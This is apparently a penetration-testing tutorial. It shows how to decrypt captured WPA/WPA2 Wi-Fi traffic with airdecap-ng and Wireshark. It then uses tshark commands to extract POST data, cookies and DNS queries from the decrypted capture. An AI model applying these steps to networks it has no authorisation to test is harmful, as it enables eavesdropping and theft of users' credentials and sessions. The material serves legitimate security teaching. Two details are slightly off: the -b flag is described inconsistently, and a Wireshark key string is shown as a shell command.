Skip to content
HackIndex logo

HackIndex

Decrypting WPA Traffic with Airdecap-ng and Wireshark

3 min read Jul 10, 2026

Once the WPA/WPA2 passphrase is recovered, captured traffic can be decrypted offline. The capture must contain the 4-way handshake for the session you want to decrypt — the handshake establishes the per-session PTK that encrypts data frames. Any traffic captured before the handshake cannot be decrypted even with the PSK. This is why capturing the handshake alongside the data traffic from the beginning of a session is important.

Decrypt with airdecap-ng

airdecap-ng strips the 802.11 headers and decrypts WPA/WPA2 data frames using the recovered passphrase:

┌──(kali㉿kali)-[~]
└─$ airdecap-ng -p recoveredpassword -e TargetNetwork handshake-01.cap 
Total number of packets read          9841
Total number of packets written        6203
Total number of WEP data packets          0
Total number of WPA data packets       6203
Number of plaintext data packets          0
Number of decrypted WEP  packets          0
Number of decrypted WPA  packets       5891

-p specifies the passphrase. -e specifies the SSID — required because the PMK is derived from both the passphrase and the SSID. The output file is handshake-01-dec.cap containing decrypted Layer 3 and above frames as standard Ethernet encapsulation readable by any tool.

If decrypted WPA packets shows 0 despite a correct passphrase, the capture may not contain the handshake for the session being decrypted. The handshake must precede the data frames in the same capture file.

Filter to a Specific Client

To decrypt only the traffic for a specific client MAC:

┌──(kali㉿kali)-[~]
└─$ airdecap-ng -p recoveredpassword -e TargetNetwork -b AA:BB:CC:DD:EE:FF handshake-01.cap

-b filters decryption to frames associated with the specified BSSID. Useful when the capture contains traffic from multiple APs.

Decrypt Inline in Wireshark

Wireshark can decrypt WPA traffic on the fly without producing a separate decrypted file. Go to Edit > Preferences > Protocols > IEEE 802.11 > Decryption keys and add a new entry. Select type wpa-pwd and enter the passphrase and SSID separated by a colon:

┌──(kali㉿kali)-[~]
└─$ wireshark handshake-01.cap

In Wireshark the decryption key format is:

┌──(kali㉿kali)-[~]
└─$ wpa-pwd:recoveredpassword:TargetNetwork

After adding the key, reload the capture with Ctrl+Shift+R. Wireshark decrypts data frames inline and the full protocol stack becomes visible in the packet details. Filter on http, dns, or ftp to quickly identify plaintext traffic of interest.

Extract Credentials from the Decrypted Capture

Once decrypted, use tshark to extract credentials and interesting data from the decrypted file:

┌──(kali㉿kali)-[~]
└─$ tshark -r handshake-01-dec.cap -Y "http.request.method==POST" -T fields -e ip.src -e http.host -e http.file_data
┌──(kali㉿kali)-[~]
└─$ tshark -r handshake-01-dec.cap -Y "dns.flags.response==0" -T fields -e ip.src -e dns.qry.name | sort -u
┌──(kali㉿kali)-[~]
└─$ tshark -r handshake-01-dec.cap -Y "http.cookie" -T fields -e ip.src -e http.host -e http.cookie

Combine Capture Files

If the handshake was captured in one file and subsequent data traffic in another, merge them before decrypting:

┌──(kali㉿kali)-[~]
└─$ mergecap -w combined.cap handshake-01.cap data-capture-01.cap
┌──(kali㉿kali)-[~]
└─$ airdecap-ng -p recoveredpassword -e TargetNetwork combined.cap

References